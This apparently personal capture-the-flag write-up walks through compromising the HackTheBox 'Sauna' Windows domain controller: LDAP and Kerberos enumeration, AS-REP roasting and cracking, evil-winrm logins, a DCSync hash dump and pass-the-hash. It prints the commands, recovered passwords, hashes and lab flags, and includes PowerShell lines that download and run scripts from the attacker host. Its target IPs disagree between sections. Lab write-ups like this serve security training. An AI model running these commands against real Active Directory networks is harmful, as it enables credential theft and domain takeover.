Background:

Background

​Sauna is an easy difficulty Windows machine from HacktheBox, it requires on the Active Directory enumeration technique and Kerberos attack, for training your ethical hacking skills and penetration testing skills.

Possible usernames can be found on the website that can be used on an ASREPRoasting attack. A password hash is found and the plaintext password was recovered by an offline brute force attack. This user credential is able to WinRM to the box.

Running WinPEAS reveals the possible path for the Privilege Escalation (PE), the result shows that there a system user has been configured to automatically log in and this user has Windows remote management permissions.

[email protected]

Target Machine: 10.10.10.175

Attacking (Hacker) machine: 10.10.14.15

Penetrating Methodology:

Service Scanning

• Nmap

Enumeration

• Nikto

• Dirb

• ldapsearch

• nmap -p 88 --script krb5-enum-users

• nmap -p 389 --script ldap-rootdse

• GetNPUsers.py

Exploitation

• WinRM

• ASREPRoasting Attack

• DCSync Attack

Getting Less Privilege Shell

• PtH Attack

• Windows-Exploit-Suggester

Hacking Process Part 0 – Service Scanning

The target machine IP is 192.168.187.134. Get a basic understanding the available services of the target machine using nmap aggressive scanning to all available ports.

0.1) Details Analysis

nmap -n -sV -vv --open -Pn -p- -A --reason -oN nmap.txt sauna.htb

Enumeration strategies

1. Check Website Vulnerability

2. Check any hidden files/folders of the website

3. Check SMB

Hacking Process Part 1 – Enumeration

1.1) Strategy 1 Check Vulnerability

Nikto -- no vulnerability can be abused to bypass authentication.

1.2) Strategy 1 Check any hidden files/folders of the website

Cannot found any hidden files or folder of this website python3 /root/Documents/ctf/tools/dirsearch/dirsearch.py -u http://192.168.187.134/ -e php,txt -x 301,302,403,404 --simple-report=mrRobot.dirsearch

1.3) LDAP

nmap -p 389 --script ldap-rootdse sauna.htb

Got some domain's background information CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.local' sauna.htb

Using the ldapsearch -x -h sauna.htb -b "DC=EGOTISTICAL-BANK,DC=local", a user "Hugo Smith" account was found

Hacking Process Part 2 – Get Low Privilege Access

According to the domain account found above, the login id would be a combination of the user name found at the "Meet The Team" page.

The possible combination of the user name list was created below and saved at the users.txt

fergussmith,fsmith,ferguss
shauncoins,scooin, shaunc
hugobear,hbear, hugob
bowietaylor,btaylor, bowiet
sophiedriver,sdriver, sophied
stevenkerb,skerb,stevenk

I was thinking that would it be an ASREPRoasting attack. Using Impacket's GetNPUser to extract a hash from my prepared user accounts list that did not require pre-authentication.

/usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -no-pass -outputfile getNPUsers.result -dc-ip sauna.htb

It returned a hash for the user fsmith Selected the krb5asrep as the format of hash mode for the ASREPRosating,

john fsmith.tgt -format:krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt

The password of this user account "fsmith" was "Thestrokes23"

Using the obtained credentials fsmith/Thestrokes23 to access the system

SMB Map smbmap -u fsmith -p Thestrokes23 -H sauna.htb -R

Windows Remote Management (WinRM) It is a Windows built-in remote management protocol that was enabled by default. Using the evil-winrm to connect to the system evil-winrm.rb -u fsmith -p Thestrokes23 -i sauna.htb

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The user.txt file was found in the Desktop folder.

1b5520b98d97cf17f24122a55baf70cf

Hacking Process Part 3 – Windows Privilege Escalation

Enumerating users After gaining the initial access of the machine, a svc_loanmgr account was found under the c:\Users folder but the current account did not have access rights to read the folder

Enumerating the environment

The missing software patches for local privilege escalation vulnerabilities was not found using the Sherlock.ps script powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15:8888/Sherlock.ps1'); Find-AllVulns -Command 'start powershell.exe'"

Enumerating with the Powershell Privilege Escalation Enumeration Script WindowsEnum.ps1 powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15:8888/WindowsEnum.ps1');

The password of svc_loanmanager was found

According to the net user result above, this user was under the Remote Management Users group. Using the evil-winrm again to login /root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u svc_loanmgr -p Moneymakestheworldgoround! -i sauna.htb

As this user svc_loanmgr was in the user group NTLM Authentication, tried to reveal the dump the NTLM hashes using the Impacket's secretsdump.py ​

/usr/share/doc/python3-impacket/examples/secretsdump.py 'svc_loanmgr:[email protected]'

The hash of the adminstrator was extracted, tried the Pass The Hash attack using the pth-winexe Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::

Tried to connect with winrm again using the password hash

/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u administrator --hash 500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175

f3ee04965c68257382e31502cc5e881f

Conclusion...

一開始getnpuser dump到hash是因為剛好fsmith呢個user個account有check到not required kerberos pre authentication，所以可以用呢個account來gen ticket dump到個hash，又剛好個account用weak password破解到，所以羅到user

root就svc_loanmgr呢個service account讀到ad個db，所以dump到個db羅曬hash

by default not required kerberos authentication係無check到的，一般是app唔support kerberos，所以要check

Lesson Learn

1) The vulnerability occurs when the “Do Not Require Pre-authentication” box is ticked within Users​

2) Weak password policy is in place

Reference Link

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